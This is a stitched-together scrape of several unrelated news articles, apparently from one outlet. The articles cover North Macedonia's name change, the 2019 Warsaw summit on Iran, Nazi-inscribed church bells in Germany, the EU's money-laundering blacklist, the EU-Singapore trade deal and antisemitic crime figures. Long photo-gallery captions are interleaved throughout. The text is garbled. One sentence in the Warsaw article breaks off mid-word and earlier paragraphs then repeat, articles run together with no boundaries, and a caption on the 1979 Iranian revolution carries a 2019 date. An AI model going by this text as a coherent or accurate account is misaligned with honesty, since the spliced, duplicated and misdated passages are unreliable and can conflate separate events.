at Berlin's Charite hospital. In an Instagram post he said he could now breathe independently following his suspected poisoning last month Alexei Navalny/Instagram/AFP World news in pictures 14 September 2020 Japan's Prime Minister Shinzo Abe, Chief Cabinet Secretary Yoshihide Suga, former Defense Minister Shigeru Ishiba and former Foreign Minister Fumio Kishida celebrate after Suga was elected as new head of the ruling party at the Liberal Democratic Party's leadership election in Tokyo Reuters World news in pictures 13 September 2020 A man stands behind a burning barricade during the fifth straight day of protests against police brutality in Bogota AFP via Getty World news in pictures 12 September 2020 Police officers block and detain protesters during an opposition rally to protest the official presidential election results in Minsk, Belarus. Daily protests calling for the authoritarian president's resignation are now in their second month AP World news in pictures 11 September 2020 Members of 'Omnium Cultural' celebrate the 20th 'Festa per la llibertat' ('Fiesta for the freedom') to mark the Day of Catalonia in Barcelona. Omnion Cultural fights for the independence of Catalonia EPA World news in pictures 10 September 2020 The Moria refugee camp, two days after Greece's biggest migrant camp, was destroyed by fire. Thousands of asylum seekers on the island of Lesbos are now homeless AFP via Getty World news in pictures 9 September 2020 Pope Francis takes off his face mask as he arrives by car to hold a limited public audience at the San Damaso courtyard in The Vatican AFP via Getty World news in pictures 8 September 2020 A home is engulfed in flames during the "Creek Fire" in the Tollhouse area of California AFP via Getty World news in pictures 7 September 2020 A couple take photos along a sea wall of the waves brought by Typhoon Haishen in the eastern port city of Sokcho AFP via Getty World news in pictures 6 September 2020 Novak Djokovic and a tournament official tends to a linesperson who was struck with a ball by Djokovic during his match against Pablo Carreno Busta at the US Open USA Today Sports/Reuters World news in pictures 5 September 2020 Protesters confront police at the Shrine of Remembrance in Melbourne, Australia, during an anti-lockdown rally AFP via Getty World news in pictures 4 September 2020 A woman looks on from a rooftop as rescue workers dig through the rubble of a damaged building in Beirut. A search began for possible survivors after a scanner detected a pulse one month after the mega-blast at the adjacent port AFP via Getty World news in pictures 3 September 2020 A full moon next to the Virgen del Panecillo statue in Quito, Ecuador EPA World news in pictures 2 September 2020 A Palestinian woman reacts as Israeli forces demolish her animal shed near Hebron in the Israeli-occupied West Bank Reuters World news in pictures 1 September 2020 Students protest against presidential elections results in Minsk TUT.BY/AFP via Getty World news in pictures 31 August 2020 The pack rides during the 3rd stage of the Tour de France between Nice and Sisteron AFP via Getty World news in pictures 30 August 2020 Law enforcement officers block a street during a rally of opposition supporters protesting against presidential election results in Minsk, Belarus Reuters World news in pictures 29 August 2020 A woman holding a placard reading "Stop Censorship - Yes to the Freedom of Expression" shouts in a megaphone during a protest against the mandatory wearing of face masks in Paris. Masks, which were already compulsory on public transport, in enclosed public spaces, and outdoors in Paris in certain high-congestion areas around tourist sites, were made mandatory outdoors citywide on August 28 to fight the rising coronavirus infections AFP via Getty World news in pictures 28 August 2020 Japanese Prime Minister Shinzo Abe bows to the national flag at the start of a press conference at the prime minister official residence in Tokyo. Abe announced he will resign over health problems, in a bombshell development that kicks off a leadership contest in the world's third-largest economy AFP via Getty World news in pictures 27 August 2020 Residents take cover behind a tree trunk from rubber bullets fired by South African Police Service (SAPS) in Eldorado Park, near Johannesburg, during a protest by community members after a 16-year old boy was reported dead AFP via Getty World news in pictures 26 August 2020 People scatter rose petals on a statue of Mother Teresa marking her 110th birth anniversary in Ahmedabad AFP via Getty World news in pictures 25 August 2020 An aerial view shows beach-goers standing on salt formations in the Dead Sea near Ein Bokeq, Israel Reuters World news in pictures 24 August 2020 Health workers use a fingertip pulse oximeter and check the body temperature of a fisherwoman inside the Dharavi slum during a door-to-door Covid-19 coronavirus screening in Mumbai AFP via Getty World news in pictures 23 August 2020 People carry an idol of the Hindu god Ganesh, the deity of prosperity, to immerse it off the coast of the Arabian sea during the Ganesh Chaturthi festival in Mumbai, India Reuters World news in pictures 22 August 2020 Firefighters watch as flames from the LNU Lightning Complex fires approach a home in Napa County, California AP World news in pictures 21 August 2020 Members of the Israeli security forces arrest a Palestinian demonstrator during a rally to protest against Israel's plan to annex parts of the occupied West Bank AFP via Getty World news in pictures 20 August 2020 A man pushes his bicycle through a deserted road after prohibitory orders were imposed by district officials for a week to contain the spread of the Covid-19 in Kathmandu AFP via Getty World news in pictures 19 August 2020 A car burns while parked at a residence in Vacaville, California. Dozens of fires are burning out of control throughout Northern California as fire resources are spread thin AFP via Getty World news in pictures 18 August 2020 Students use their mobile phones as flashlights at an anti-government rally at Mahidol University in Nakhon Pathom. Thailand has seen near-daily protests in recent weeks by students demanding the resignation of Prime Minister Prayut Chan-O-Cha AFP via Getty World news in pictures 17 August 2020 Members of the Kayapo tribe block the BR163 highway during a protest outside Novo Progresso in Para state, Brazil. Indigenous protesters blocked a major transamazonian highway to protest against the lack of governmental support during the COVID-19 novel coronavirus pandemic and illegal deforestation in and around their territories AFP via Getty World news in pictures 16 August 2020 Lightning forks over the San Francisco-Oakland Bay Bridge as a storm passes over Oakland AP World news in pictures 15 August 2020 Belarus opposition supporters gather near the Pushkinskaya metro station where Alexander Taraikovsky, a 34-year-old protester died on August 10, during their protest rally in central Minsk AFP via Getty World news in pictures 14 August 2020 AlphaTauri's driver Daniil Kvyat takes part in the second practice session at the Circuit de Catalunya in Montmelo near Barcelona ahead of the Spanish F1 Grand Prix AFP via Getty World news in pictures 13 August 2020 Soldiers of the Brazilian Armed Forces during a disinfection of the Christ The Redeemer statue at the Corcovado mountain prior to the opening of the touristic attraction in Rio AFP via Getty World news in pictures 12 August 2020 Young elephant bulls tussle playfully on World Elephant Day at the Amboseli National Park in Kenya AFP via Getty

Greece had been blocking its neighbours entry into the EU and Nato because it disapproves of the name Macedonia, which recalls the ancient kingdom of Alexander the Great.

For years Macedonia was internationally known as FYROM  the Former Yugoslav Republic of Macedonia  to skirt around Greeces objections.

On 17 June 2018 an agreement was signed on the border of the two countries at Lake Prespa that the name change would go ahead. Just 10 days later the EU announced it would start accession talks with the country.

On 6 February this year Nato member states signed an accession protocol allowing the newly named North Macedonia to join the alliance.

As of Wednesday the country is still listed on the UN website as the Former Yugoslav Republic of Macedonia, but its government website and social media profiles now refer to  , or North Macedonia.

Ancient Macedonia was the cradle of warrior king Alexanders empire, but under the Romans the province of Macedonia was expanded to include territory spanning what is now North Macedonia, as well as Bulgaria and Albania.

Some Greeks have accused Macedonians, who speak a Slavic language, of appropriating aspects of Greek culture. An eight-storey high statue resembling Alexander in the Macedonian capital of Skopje caused a fuss in 2011. Macedonian authorities insist that the statue is of a warrior on a horse rather than the ancient Greek hero.Some are dismissing it as a mere photo op, a chance to show the ideologically motivated benefactors of Donald Trumps administration that it is doing something to counter Iran.

Others, notably conservatives in Washington, say the high-profile but still murky two-day Middle East summit of foreign ministers in Warsaw beginning Wednesday is an historic event, bringing together Arab and Israeli officials in the beginnings of a regional coalition against the Islamic Republic. US officials say representatives of 60 countries including dozens of foreign ministers will attend.

We are going to gather up to talk about the future of Middle East stability and prosperity, US secretary of state Mike Pompeo, one of the organisers of the summit, said Tuesday night. Well talk about the Middle East peace plan, well talk about ... Counterterrorism, well talk about how these countries can work together. This is a global coalition that is built to deliver on the important mission of reducing the risk that has emanated from the Middle East for far too long.

The conference is sure to spark controversy. On Wednesday, Mr Trumps personal lawyer Rudy Giuliani called for immediate regime change in Iran during a speech in the Eastern European city.

Within a few years a free Iran will be one of the leading nations in the world, he told a cheering crowd of supporters from the Mujahedin-e-Khalq Organisation, a cult-like Iranian opposition group. We are going to have the celebration sooner rather than later in Tehran and I want to be there with you.

European officials, especially those from France and Germany, are livid about the conference, which they see not only as an attempt to ratchet up pressure on Tehran, but to hoodwink member states into appearing to lend support to a hardline White House agenda shaped by freelancers such as Mr Trumps son-in-law, Jared Kushner, who will also attend the summit.

There has been a big push by the Europeans to dilute the Iran element of the summit so it doesnt seem theyre joining up for ed from the Middle East for far too long.

The conference is sure to spark controversy. On Wednesday, Mr Trumps personal lawyer Rudy Giuliani called for immediate regime change in Iran during a speech in the Eastern European city.

Within a few years a free Iran will be one of the leading nations in the world, he told a cheering crowd of supporters from the Mujahedin-e-Khalq Organisation, a cult-like Iranian opposition group. We are going to have the celebration sooner rather than later in Tehran and I want to be there with you.

Revolution in Iran: In pictures Show all 11 1 /11 Revolution in Iran: In pictures Revolution in Iran: In pictures A demonstration against the Shah in 1979 Getty Revolution in Iran: In pictures Armed women on guard in one of the main squares in Tehran at the beginning of the Iranian Revolution Getty Revolution in Iran: In pictures Demonstrators hold a poster of Ayatollah Ruhollah Khomeini, in January 1979, in Tehran, during a demonstration against the Shah AFP/Getty Revolution in Iran: In pictures Iranian rebels pose with a U.S. flag they bayonetted upside down on trees at Sultanabad Garrison northeast of Tehran on February 12 2019 AP Revolution in Iran: In pictures A gun battle in Khorramshahr during the revolution, 1979 Getty Revolution in Iran: In pictures Ayatollah Khomeini's supporters demonstrate in the streets of Tehran against the Shah among tear gas. The "black friday" caused the death of 200 people according to the Iranian government, 2000 according to the opposition, September 8 1978 AFP/Getty Revolution in Iran: In pictures Women wearing the traditional Chador demonstrate in the streets of Tehran against the Shah on September 7 1978 AFP/Getty Revolution in Iran: In pictures Demonstrators in Tehran calling for the replacement of the Shah of Iran during the Iranian Revolution, 1979. They carry placards depicting Ayatollah Mahmoud Talaghani, one of the leading revolutionaries Getty Revolution in Iran: In pictures Ayatollah Khomeini's supporters demonstrate in the streets of Tehran against the Shah. The "black friday" caused the death of 200 people according to the Iranian government, 2000 according to the opposition, September 8 1978 AFP/Getty Revolution in Iran: In pictures Thousands of the Ayatollah Khomeini's supporters on the streets of Tehran calling for the religious leader's return in January 1979 Getty Revolution in Iran: In pictures The Iranian Islamic Republic Army demonstrates in solidarity with people in the street during the Iranian revolution. They are carrying posters of the Ayatollah Khomeini, the Iranian religious and political leader Getty

European officials, especially those from France and Germany, are livid about the conference, which they see not only as an attempt to ratchet up pressure on Tehran, but to hoodwink member states into appearing to lend support to a hardline White House agenda shaped by freelancers such as Mr Trumps son-in-law, Jared Kushner, who will also attend the summit.

There has been a big push by the Europeans to dilute the Iran element of the summit so it doesnt seem theyre joining up for this maximum pressure bandwagon, Ellie Geranmayeh, deputy head of the Middle East programme at the European Council on Foreign Relations, said. Theyve been pushing for adding how to deal with the Yemen ceasefire or peace-building in Syria. They push hard to make it far less about Iran and more about the Middle East.

But in addition to the various criss-crossing conflicts in the Middle East and what many describe as the Trump administrations bumbling way of handling them, the Warsaw conference intersects with at least two other festering crises on the global agenda: fears of Russian expansion into Eastern Europe, and tensions within the EU amid the rise of right-wing populism.

 Iran marks 40 years of the Islamic Republic

Poland risked alienating both its EU partners and Iran by agreeing to host the summit, in part to win support in Washington for a permanent military base in the country  in a bid to fend off any potential Kremlin advances.

This conference is a gamble, said Robert Czulda, a professor of Middle East studies at the University of Lodz. For Poland, Russia is still a threat. This is the most important dimension of our foreign policy. The main ambition of the Polish government is to have US bases like Germany has US bases.

The conference also comes at a time of deep divisions within EU over a number of major issues, including the right-wing populist drift of some member states, including Poland and Hungary. EU officials are said to be enraged that the Trump administration, which has sought to widen divisions within the bloc, is seeking to peel off some member states like Poland by getting it to downgrade its ties with Brussels.

The Americans are trying to break up Europe, fumed one European diplomat.

Mr Pompeo first promoted the conference last month as a way to curtail Irans influence in the region, but US officials later sought to water down the Iranian focus of the gathering, dropping the word Iran from the name of the confab and rebranding it a summit to promote peace.

There was talk that Trump would unveil elements of a grand Israeli-Palestinian peace deal at the summit, but Palestinian representatives are boycotting the summit and have pre-emptively rejected any decisions that emerge from it.

France and Germany will dispatch junior officials to the conference. UK Foreign Minister Jeremy Hunt agreed at the last minute to attend but only to chair a meeting on pursuing peace in Yemen.

We are going to have the celebration sooner rather than later in Tehran and I want to be there with you Rudy Giuliani, Donald Trump's lawyer

But while the conference may ostensibly be devoted to achieving a broader settlement of the Middle Easts issues, neither Palestinians, Yemens Houthis, or any representative of the Iranian-led axis that includes Lebanese Hezbollah will attend. Russia has rejected the conference.

Many see the summit as an attempt to put an international imprimatur on a meeting that gathers foreign ministers of the Arabian peninsulas anti-Iran alliance together with Israels prime minister Benjamin Netanyahu, who has assumed the mantle of his countrys top diplomat.

Iranian officials and state television have dismissed the summit, describing it as a defeat because of the absence of junior level participation of many countries. Officials in Poland, which has long historic and trade ties to Iran and supports the 2015 nuclear deal abandoned by the Trump administration, have rushed to assure Tehran that nothing inflammatory would emerge from the conference.

Tight security outside the Royal Castle in the old city of Warsaw ahead of the summit (Borzou Daragahi/The Independent)

Poland was taken by surprise by the way Mr Pompeo presented the conference, said Ms Geranmayeh. Tehran threw a tantrum but was pleased to see the agenda rolled back.

Tehran summoned the Polish ambassador and cancelled a Polish film festival immediately after the conference was announced in January.

During a press appearance Tuesday night in Warsaw, Mr Pompeo and Polands foreign minister Jacek Czaputowicz tiptoed around their differences: Poland is a part of the EU and hence we are of the opinion and we accept the policy of JCPOA, the nuclear treaty with Iran, said Mr Czaputowicz. The US have a different opinion, but that doesnt hinder us in looking for a common approach.

But some worry that any fiery anti-Iranian rhetoric and the sight of Israeli, US, Arab, and European officials arrayed against them may only embolden Irans hardline security establishment.

Its devoid of substance; its just pulling the wool over the eyes of a bunch of teenagers watching on Twitter, said Sanam Anderlini, founder of the International Civil Society Action Network, a peace advocacy group, and a former UN adviser. What it does in Iran is legitimise the hardline position. It undermines those who are trying to bring about reform, change, or an opening.Several German churches have been accused of using six bells bearing the swastika and Nazi inscriptions.

The Evangelical Church in Thuringia has been accused of violating the countrys ban on the use of Nazi symbols.

The unidentified plaintiff accused the church of using six bells in five churches, including on Holocaust Remembrance Day, Die Welt reported.

The plaintiff, who is a relative of Nazi victims, complained he had been ignored after repeatedly asking the church to stop using the bells.

A spokesman for the church told the KNA news agency the inscriptions could be removed, but such action would need to be reconciled with rules on the preservation of historical monuments.

A Day That Shook The World: Hitler elected German Chancellor Show all 3 1 /3 A Day That Shook The World: Hitler elected German Chancellor A Day That Shook The World: Hitler elected German Chancellor 541841.bin Getty Images A Day That Shook The World: Hitler elected German Chancellor 541843.bin Getty Images A Day That Shook The World: Hitler elected German Chancellor 541842.bin Getty Images

The bells concerned are not publicly accessible, Friedemann Kahl said. We are confident that well find a good solution.

But the states finance minister and vice premier, Heike Taubert, said it could help pay for replacement bells.

Nazi bells belong to the dark side of our history, Ms Taubert said. I dont make much of concealing their location or altering them.

The plaintiff has also filed a complaint against the town of Herxheim am Berg after the town allowed a bell dedicated to Hitler to continue to hang in a church.

They said the decision was a "mockery of the victims of Hitler's terror".

The bell features a Swastika and the words: Everything for the fatherland  Adolf Hitler.

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Last year, a survey by Der Spiegel magazine found at least 23 Nazi bells remained in churches around Germany.The European Commission has added Saudi Arabia and a number of other countries to its blacklist of states with lax controls on terrorism financing and money laundering.

The EUs executive had come under pressure not to include the oil-rich autocracy on the list, as some member states were worried about a hit to trade.

Saudi Arabia has been widely accused of doing little to stop vast sums of money flowing to Islamist terrorists and extremists.

Panama, Nigeria, and a number of US territories have also been added to the list in the latest review.

EU banks must carry out extra stringent checks on payments involving entities from listed jurisdictions.

Recommended Pressure on Saudi and Trump mounts as Khashoggi murder case develops

Vera Jourova, commissioner for justice, consumers and gender equality said: We have established the strongest anti-money laundering standards in the world, but we have to make sure that dirty money from other countries does not find its way to our financial system.

Dirty money is the lifeblood of organised crime and terrorism. I invite the countries listed to remedy their deficiencies swiftly. The commission stands ready to work closely with them to address these issues in our mutual interest.

Money laundering scandals have hit a number of EU banks in recent months, episodes which are thought to have prompted the latest crackdown. Most recently Danske Bank A/S was implicated in a dirty money scandal which involved suspicious funds flowing from Russia.

The list now includes 23 financial jurisdictions, up from its previous 16. Brussels added Saudi Arabia, Libya, Botswana, Ghana, Samoa, the Bahamas and the four United States territories of American Samoa, US Virgin Islands, Puerto Rico and Guam.

The listed states that were already included are Afghanistan, North Korea, Ethiopia, Iran, Iraq, Pakistan, Sri Lanka, Syria, Trinidad and Tobago, Tunisia and Yemen.

Danske Bank is among EU institutions to have been implicated in dirty money scandals (Reuters)

Some states were removed from the blacklist after the EU judged them to have improved: Bosnia Herzegovina, Guyana, Laos, Uganda and Vanuatu.

Countries can get on the list of they do not cooperate sufficiently with the EU, lack transparency, or have weak sanctions against money laundering or the financing of terrorism.

10 examples of Saudi Arabia's human rights abuses Show all 10 1 /10 10 examples of Saudi Arabia's human rights abuses 10 examples of Saudi Arabia's human rights abuses In October 2014, three lawyers, Dr Abdulrahman al-Subaihi, Bander al-Nogaithan and Abdulrahman al-Rumaih , were sentenced to up to eight years in prison for using Twitter to criticize the Ministry of Justice. AFP/Getty Images 10 examples of Saudi Arabia's human rights abuses In March 2015, Yemens Sunni President Abd-Rabbu Mansour Hadi was forced into exile after a Shia-led insurgency. A Saudi Arabia-led coalition has responded with air strikes in order to reinstate Mr Hadi. It has since been accused of committing war crimes in the country. Getty Images 10 examples of Saudi Arabia's human rights abuses Women who supported the Women2Drive campaign, launched in 2011 to challenge the ban on women driving vehicles, faced harassment and intimidation by the authorities. The government warned that women drivers would face arrest. Getty Images 10 examples of Saudi Arabia's human rights abuses Members of the Kingdoms Shia minority, most of whom live in the oil-rich Eastern Province, continue to face discrimination that limits their access to government services and employment. Activists have received death sentences or long prison terms for their alleged participation in protests in 2011 and 2012. Getty Images 10 examples of Saudi Arabia's human rights abuses All public gatherings are prohibited under an order issued by the Interior Ministry in 2011. Those defy the ban face arrest, prosecution and imprisonment on charges such as inciting people against the authorities. Getty Images 10 examples of Saudi Arabia's human rights abuses In March 2014, the Interior Ministry stated that authorities had deported over 370,000 foreign migrants and that 18,000 others were in detention. Thousands of workers were returned to Somalia and other states where they were at risk of human rights abuses, with large numbers also returned to Yemen, in order to open more jobs to Saudi Arabians. Many migrants reported that prior to their deportation they had been packed into overcrowded makeshift detention facilities where they received little food and water and were abused by guards. Getty Images 10 examples of Saudi Arabia's human rights abuses The Saudi Arabian authorities continue to deny access to independent human rights organisations like Amnesty International, and they have been known to take punitive action, including through the courts, against activists and family members of victims who contact Amnesty. Getty Images 10 examples of Saudi Arabia's human rights abuses Raif Badawi was sentenced to 1000 lashes and 10 years in prison for using his liberal blog to criticise Saudi Arabias clerics. He has already received 50 lashes, which have reportedly left him in poor health. Carsten Koall/Getty Images 10 examples of Saudi Arabia's human rights abuses Dawood al-Marhoon was arrested aged 17 for participating in an anti-government protest. After refusing to spy on his fellow protestors, he was tortured and forced to sign a blank document that would later contain his confession. At Dawoods trial, the prosecution requested death by crucifixion while refusing him a lawyer. Getty Images 10 examples of Saudi Arabia's human rights abuses Ali Mohammed al-Nimr was arrested in 2012 aged either 16 or 17 for participating in protests during the Arab spring. His sentence includes beheading and crucifixion. The international community has spoken out against the punishment and has called on Saudi Arabia to stop. He is the nephew of a prominent government dissident. Getty

The list must be endorsed by the European Council, which is made up of member states. The countries will vote on whether to approve it. Ms Jourova told reporters she was confident the list would pass.

The list is separate from a different and equally contentious EU blacklist of tax havens, which caused anger among those jurisdictions included on it last year. Samoa, Trinidad and Tobago and the three US territories of American Samoa, Guam and US Virgin Islands are on both lists.

Some critics said the list was too soft, however. Sven Giegold, a Green MEP who campaigns around financial issues, said: Some of the biggest dirty-money washing machines are still missing. These include Russia, the City of London and its offshore territories as well as Azerbaijan.The European Parliament has approved a landmark free trade deal with Singapore which will gradually eliminate tariffs on goods and services over the next five years.

Several votes with a large majority approved the European Union-Singapore Free Trade Agreement (EUSFTA) which now requires each member state to give their final approval before it comes into force.

The deal will also offer new opportunities for businesses on both sides to expand in each other's regions and will allow EU firms to compete for public procurement contracts in Singapore.

If Britain crashes out of the European Union without a withdrawal agreement in place on 29 March, the UK will not have access to the new free trade agreement with Singapore.

British MEP David Martin, the rapporteur on the agreements, said the approval demonstrated the EUs desire to keep fair and free trade alive".

Theresa May visits Africa on trade trip  in pictures Show all 39 1 /39 Theresa May visits Africa on trade trip  in pictures Theresa May visits Africa on trade trip  in pictures British Prime Minister Theresa May reviews a military guard of honour at the State House in Nairobi. May wraps up a three day tour of Africa in Kenya as she seeks to drum up post-Brexit deals before quitting the European Union on a continent which has increasingly looked elsewhere for trade and investment AFP/Getty Images Theresa May visits Africa on trade trip  in pictures Prime Minister Theresa May in breaks into dance whilst meeting with scouts at the United Nations offices in Nairobi on the third day of her visit to Africa PA Theresa May visits Africa on trade trip  in pictures Prime Minister Theresa May in breaks into dance whilst meeting with scouts at the United Nations offices in Nairobi on the third day of her visit to Africa PA Theresa May visits Africa on trade trip  in pictures Prime Minister Theresa May in breaks into dance whilst meeting with scouts at the United Nations offices in Nairobi on the third day of her visit to Africa PA Theresa May visits Africa on trade trip  in pictures Prime Minister Theresa May dancing with students and staff at ID Mkize Secondary School in Cape Town PA Theresa May visits Africa on trade trip  in pictures Theresa May meets charity workers at a Salvation Army centre in Lagos, where modern slavery was discussed PA Theresa May visits Africa on trade trip  in pictures Prime Minister Theresa May arrives at the State House in Nairobi to meet with Kenyan President Uhuru Kenyatta PA Theresa May visits Africa on trade trip  in pictures Kenyan President Uhuru Kenyatta welcomes Theresa May AP Theresa May visits Africa on trade trip  in pictures Prime Minister Theresa May and Kenyan President Uhuru Kenyatta address a press conference at the state house in Nairobi Reuters Theresa May visits Africa on trade trip  in pictures Theresa May with the President of Kenya Uhuru Kenyatta at the State House in Nairobi PA Theresa May visits Africa on trade trip  in pictures Prime Minister Theresa May arrives at the State House in Nairobi, to meet the President of Kenya Uhuru Kenyatta, on the third day of her visit to Africa. PA Theresa May visits Africa on trade trip  in pictures Theresa May meets Nigerian President Buharia at the Presidential Villa in Abuja, Nigeria EPA Theresa May visits Africa on trade trip  in pictures Prime Minister Theresa May arrives in Abuja, Nigeria, on day two of her trip to Africa PA Theresa May visits Africa on trade trip  in pictures Theresa May arrives in Abuja, Nigeria on day two of her trip to Africa Reuters Theresa May visits Africa on trade trip  in pictures Theresa May arrives in Abuja, Nigeria on day two of her trip to Africa Reuters Theresa May visits Africa on trade trip  in pictures Nigerian President Buhari and Theresa May watch as the Nigerian Budget and National Planning Minister and the British Trade Policy Minister sign a bilateral agreement on Nigerian trade development EPA Theresa May visits Africa on trade trip  in pictures Theresa May meets South African president Cyril Ramaphosa at DeTuynhuys Presidential Palace in Cape Town PA Theresa May visits Africa on trade trip  in pictures Prime Minister Theresa May meets students and staff at ID Mkize Secondary School in Cape Town, which is twinned with Whitby High School in Yorkshire PA Theresa May visits Africa on trade trip  in pictures Theresa May arrives in Abuja, Nigeria Reuters Theresa May visits Africa on trade trip  in pictures The two schools are part of a British Council funded teacher exchange scheme called 'Connected Classrooms' AP Theresa May visits Africa on trade trip  in pictures The Prime Minister enters the cell in which Nelson Mandela was held on Robben Island Cape Town PA Theresa May visits Africa on trade trip  in pictures Prime Minister Theresa May meets South African president Cyril Ramaphosa PA Theresa May visits Africa on trade trip  in pictures Theresa May dancing with students and staff at ID Mkize Secondary School in Cape Town EPA Theresa May visits Africa on trade trip  in pictures Theresa May and South African President Cyril Ramaphosa take part in the ceremony to hand over the bell of the SS Mendi AFP/Getty Theresa May visits Africa on trade trip  in pictures Theresa May and South African president Cyril Ramaphosa shake hands PA Theresa May visits Africa on trade trip  in pictures Theresa May poses for a picture with school children Reuters Theresa May visits Africa on trade trip  in pictures Theresa May and South African President Cyril Ramaphosa take part in the ceremony to hand over the bell of the SS Mendi AFP/Getty Theresa May visits Africa on trade trip  in pictures Theresa May dancing with students and staff at ID Mkize Secondary School in Cape Town EPA Theresa May visits Africa on trade trip  in pictures Theresa May exits stage right following an address to business leaders at the offices of First National Bank in Cape Town EPA Theresa May visits Africa on trade trip  in pictures A group of school children at the ID Mkhize Secondary School, take a selfie with a phone with a Union Jack cover Reuters Theresa May visits Africa on trade trip  in pictures The Prime Minister is on day one of her trip to South Africa, Nigeria and Kenya on a trade mission designed to bolster the UK's post-Brexit fortunes PA Theresa May visits Africa on trade trip  in pictures Theresa May talks with students AP Theresa May visits Africa on trade trip  in pictures Theresa May speaks to business leaders at the offices of First National Bank in Cape Town EPA Theresa May visits Africa on trade trip  in pictures Theresa May meets students and staff PA Theresa May visits Africa on trade trip  in pictures Theresa May is greeted by South African President Cyril Ramaphosa Reuters Theresa May visits Africa on trade trip  in pictures Theresa May speaks to staff at I.D. Mkize Secondary School PA Theresa May visits Africa on trade trip  in pictures Theresa May is greeted by schoolchildren waving British and South African flags AFP/Getty Theresa May visits Africa on trade trip  in pictures Theresa May speaks to students PA Theresa May visits Africa on trade trip  in pictures Prime Minister Theresa May walks with Nomvula Mokonyane - the South African Minister of Communications - as she arrives at Cape Town airport PA

The trade agreement will not only enhance the EUs access to the Singapore market, but even more to the growing Association of Southeast Asian Nations region, while ensuring workers and the environment are well protected, Mr Martin said.

The investment protection agreement incorporates the EUs reformed approach, and will replace the existing Singapore-EU member state deals that include the toxic investor-state dispute settlement.

The EU and Singapore trade about 50 billion euros (44bn) in goods and 40 billion euros (35bn) in services a year.

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Singapore is the EUs largest partner in the region, accounting for almost a third trade in goods and services and roughly two-thirds of investment between the two regions.

Over 10,000 European companies have their regional offices in Singapore.

Additional reporting from agenciesAntisemitic crimes in Germany rose by around 10 per cent last year, a government report found.

Preliminary government figures showed 1,646 antisemitic crimes registered in 2018, up from 1,504 in 2017.

The number of violent crimes were up 60 per cent, from 37 to 62.

A spokeswoman for German chancellor Angela Merkel said the governments position is fully clear  that antisemitism has no place in Germany.

But the Central Council of Jews has called for a stronger commitment from police, politicians and the judiciary following the report.

World news in pictures Show all 50 1 /50 World news in pictures World news in pictures 30 September 2020 Pope Francis prays with priests at the end of a limited public audience at the San Damaso courtyard in The Vatican AFP via Getty World news in pictures 29 September 2020 A girl's silhouette is seen from behind a fabric in a tent along a beach by Beit Lahia in the northern Gaza Strip AFP via Getty World news in pictures 28 September 2020 A Chinese woman takes a photo of herself in front of a flower display dedicated to frontline health care workers during the COVID-19 pandemic in Beijing, China. China will celebrate national day marking the founding of the People's Republic of China on October 1st Getty World news in pictures 27 September 2020 The Glass Mountain Inn burns as the Glass Fire moves through the area in St. Helena, California. The fast moving Glass fire has burned over 1,000 acres and has destroyed homes Getty World news in pictures 26 September 2020 A villager along with a child offers prayers next to a carcass of a wild elephant that officials say was electrocuted in Rani Reserve Forest on the outskirts of Guwahati, India AFP via Getty World news in pictures 25 September 2020 The casket of late Supreme Court Justice Ruth Bader Ginsburg is seen in Statuary Hall in the US Capitol to lie in state in Washington, DC AFP via Getty World news in pictures 24 September 2020 An anti-government protester holds up an image of a pro-democracy commemorative plaque at a rally outside Thailand's parliament in Bangkok, as activists gathered to demand a new constitution AFP via Getty World news in pictures 23 September 2020 A whale stranded on a beach in Macquarie Harbour on the rugged west coast of Tasmania, as hundreds of pilot whales have died in a mass stranding in southern Australia despite efforts to save them, with rescuers racing to free a few dozen survivors The Mercury/AFP via Getty World news in pictures 22 September 2020 State civil employee candidates wearing face masks and shields take a test in Surabaya AFP via Getty World news in pictures 21 September 2020 A man sweeps at the Taj Mahal monument on the day of its reopening after being closed for more than six months due to the coronavirus pandemic AP World news in pictures 20 September 2020 A deer looks for food in a burnt area, caused by the Bobcat fire, in Pearblossom, California EPA World news in pictures 19 September 2020 Anti-government protesters hold their mobile phones aloft as they take part in a pro-democracy rally in Bangkok. Tens of thousands of pro-democracy protesters massed close to Thailand's royal palace, in a huge rally calling for PM Prayut Chan-O-Cha to step down and demanding reforms to the monarchy AFP via Getty World news in pictures 18 September 2020 Supporters of Iraqi Shi'ite cleric Moqtada al-Sadr maintain social distancing as they attend Friday prayers after the coronavirus disease restrictions were eased, in Kufa mosque, near Najaf, Iraq Reuters World news in pictures 17 September 2020 A protester climbs on The Triumph of the Republic at 'the Place de la Nation' as thousands of protesters take part in a demonstration during a national day strike called by labor unions asking for better salary and against jobs cut in Paris, France EPA World news in pictures 16 September 2020 A fire raging near the Lazzaretto of Ancona in Italy. The huge blaze broke out overnight at the port of Ancona. Firefighters have brought the fire under control but they expected to keep working through the day EPA World news in pictures 15 September 2020 Russian opposition leader Alexei Navalny posing for a selfie with his family at Berlin's Charite hospital. In an Instagram post he said he could now breathe independently following his suspected poisoning last month Alexei Navalny/Instagram/AFP World news in pictures 14 September 2020 Japan's Prime Minister Shinzo Abe, Chief Cabinet Secretary Yoshihide Suga, former Defense Minister Shigeru Ishiba and former Foreign Minister Fumio Kishida celebrate after Suga was elected as new head of the ruling party at the Liberal Democratic Party's leadership election in Tokyo Reuters World news in pictures 13 September 2020 A man stands behind a burning barricade during the fifth straight day of protests against police brutality in Bogota AFP via Getty World news in pictures 12 September 2020 Police officers block and detain protesters during an opposition rally to protest the official presidential election results in Minsk, Belarus. Daily protests calling for the authoritarian president's resignation are now in their second month AP World news in pictures 11 September 2020 Members of 'Omnium Cultural' celebrate the 20th 'Festa per la llibertat' ('Fiesta for the freedom') to mark the Day of Catalonia in Barcelona. Omnion Cultural fights for the independence of Catalonia EPA World news in pictures 10 September 2020 The Moria refugee camp, two days after Greece's biggest migrant camp, was destroyed by fire. Thousands of asylum seekers on the island of Lesbos are now homeless AFP via Getty World news in pictures 9 September 2020 Pope Francis takes off his face mask as he arrives by car to hold a limited public audience at the San Damaso courtyard in The Vatican AFP via Getty World news in pictures 8 September 2020 A home is engulfed in flames during the "Creek Fire" in the Tollhouse area of California AFP via Getty World news in pictures 7 September 2020 A couple take photos along a sea wall of the waves brought by Typhoon Haishen in the eastern port city of Sokcho AFP via Getty World news in pictures 6 September 2020 Novak Djokovic and a tournament official tends to a linesperson who was struck with a ball by Djokovic during his match against Pablo Carreno Busta at the US Open USA Today Sports/Reuters World news in pictures 5 September 2020 Protesters confront police at the Shrine of Remembrance in Melbourne, Australia, during an anti-lockdown rally AFP via Getty World news in pictures 4 September 2020 A woman looks on from a rooftop as rescue workers dig through the rubble of a damaged building in Beirut. A search began for possible survivors after a scanner detected a pulse one month after the mega-blast at the adjacent port AFP via Getty World news in pictures 3 September 2020 A full moon next to the Virgen del Panecillo statue in Quito, Ecuador 